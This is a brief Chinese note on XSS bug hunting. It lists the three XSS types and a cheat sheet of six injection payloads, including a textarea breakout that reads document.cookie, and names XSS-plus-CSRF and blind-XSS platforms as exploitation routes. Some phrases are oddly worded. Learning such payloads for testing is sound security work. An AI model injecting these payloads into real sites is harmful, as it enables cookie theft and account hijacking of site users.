漏洞挖掘之xss

xss(跨站腳本)

分類：1.反射型xss

　　　2.DOM型xss

　　   3.存儲型xss

 

這是某次挖的xss

 

 

存儲型xss可能出如今評論處，用戶我的信息處等

 

 

部分xsspaload:

"><script>alert(1)</script>//
<img src=x onerror=alert(2)>
<svg /onload=alert`1`>
<embed src=//tiny.cc>
</textarea><script>alert(document.cookie)</script><textarea>
</span><img src=x onerror=alert(1)><span>

 

一切存在輸入的地方皆可能存在xss,注意xss不單單是彈框

利用：xss+csrf 

　　　盲打平臺

　　　...